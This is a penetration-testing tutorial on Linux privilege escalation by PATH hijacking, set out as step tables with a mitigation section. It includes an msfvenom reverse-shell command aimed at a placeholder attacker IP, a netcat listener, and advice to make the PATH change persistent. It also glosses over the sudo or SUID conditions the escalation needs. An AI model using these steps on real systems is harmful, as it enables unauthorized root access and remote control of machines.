

Executable File with Dependency Hijack - Linux Privilege Escalation

Introduction

One of the powerful techniques in Linux privilege escalation is hijacking the environment to execute a malicious payload before the intended system binaries. This can be accomplished by leveraging a vulnerable executable that depends on external binaries or scripts, which may not use full paths to these dependencies. By manipulating the environment's PATH variable, you can ensure that your malicious executable is run in place of the intended binary, often running with elevated privileges (e.g., root). This approach is particularly effective if a root-owned script or binary is being executed without specifying the full path to its dependencies.

1. Identifying Executables and Dependencies

Step	Command/Description
Inspect root-owned executable files	Use <code>find / -type f -user root -perm -u+x 2>/dev/null</code> to list all executable files owned by root.
Examine script contents	Use <code>strings /path/to/script</code> to look for commands that may invoke external binaries, especially those without full paths.
Identify vulnerable dependencies	Check if any commands in the script or binary rely on external executables (e.g., <code>scp</code> , <code>tar</code> , etc.) without absolute paths.

2. Creating a Malicious Payload

Step	Command/Description
Create a reverse shell payload	Use <code>msfvenom</code> to generate a reverse shell payload that will be executed when the vulnerable executable is triggered.

Step	Command/Description
Example payload generation command	<code>msfvenom -p linux/x86/shell_reverse_tcp LHOST=attack_ip LPORT=port -f elf -o scp</code> (Generate the payload with a specific listener IP and port)
Upload the payload	Transfer the malicious payload to the target machine (e.g., via scp, curl, etc.). Ensure the payload is placed in a directory like <code>/tmp</code> .
Set executable permissions on the payload	<code>chmod +x /tmp/scp</code> (Give the uploaded payload the necessary permissions to execute)

3. Modifying the Environment to Hijack the Execution

Step	Command/Description
Modify the PATH environment variable	<code>export PATH=/tmp:\$PATH</code> (This ensures that <code>/tmp</code> is searched first for executables, causing the malicious scp payload to be triggered before the legitimate system binary)
Verify the modified path	<code>echo \$PATH</code> (Check that <code>/tmp</code> is at the beginning of the PATH variable)

4. Triggering the Vulnerable Executable

Step	Command/Description
Execute the root-owned script	Run the script or executable that relies on the vulnerable binary (e.g., scp) in the environment.
Example execution	<code>./script.sh</code> (This will now execute the malicious scp payload, as <code>/tmp/scp</code> takes precedence over the system scp binary)

5. Getting Root Access

Step	Command/Description
Establish reverse shell	Once the payload is executed, it will initiate a reverse shell connection to your attacker machine on the specified IP and port.
Connect to the reverse shell	Use a tool like nc (netcat) on your attacking machine to listen for incoming connections: nc -lvnp port.
Verify root access	Once the reverse shell connects, check if you have root access (e.g., by running id or whoami).

6. Important Considerations for Hijacking Executables

Consideration	Description
Path Manipulation	Ensure that the malicious executable is placed in a directory that appears earlier in the PATH than the original system executables.
Environment Persistence	Be aware that modifying the PATH will only persist within the current session or until the environment is reset. Consider adding the export PATH command to a startup script if persistence is needed.
Audit System Binaries and Scripts	Regularly check scripts and binaries owned by root for dependency vulnerabilities and ensure they use full paths to avoid hijacking.
Network Security	Use firewalls and monitoring tools to detect any suspicious outgoing network connections from unexpected binaries (like the reverse shell payload).

7. Example Scenario of Privilege Escalation via Dependency Hijack

Step	Command/Description
Step 1: Identify vulnerable binary	Use strings /path/to/root-owned-script to find that it calls scp without an absolute path.

Step	Command/Description
Step 2: Create malicious payload	<code>msfvenom -p linux/x86/shell_reverse_tcp LHOST=attack_ip LPORT=443 -f elf -o scp</code> (Create a reverse shell payload)
Step 3: Upload payload to /tmp	Use scp or another method to upload the malicious scp payload to /tmp.
Step 4: Modify PATH	<code>export PATH=/tmp:\$PATH</code> (Ensure /tmp comes first in the path search order)
Step 5: Trigger script execution	Run the root-owned script (e.g., <code>./script.sh</code>). The malicious scp will execute instead of the system binary, spawning a reverse shell with root privileges.

8. Mitigating the Risk of Executable File Dependency Hijack

Mitigation	Description
Use Absolute Paths	Always use full paths for executables in scripts to prevent reliance on the PATH variable.
Restrict Write Access to Directories	Limit write permissions to directories like /tmp and others included in the PATH for non-privileged users.
Regularly Audit Scripts and Binaries	Perform regular audits of root-owned scripts and binaries to identify potential dependency hijacking risks.
Limit User Privileges	Restrict the execution of scripts or binaries that could potentially be hijacked by non-privileged users.

Conclusion

Hijacking the environment to run malicious payloads by manipulating the PATH variable is a powerful technique for privilege escalation on Linux. By identifying vulnerable executables that rely on dependencies without specifying full paths, attackers can inject their own malicious binaries and run them with elevated privileges. This attack method highlights the

importance of securing scripts, binaries, and environments, as well as implementing controls to prevent unauthorized modifications to system paths.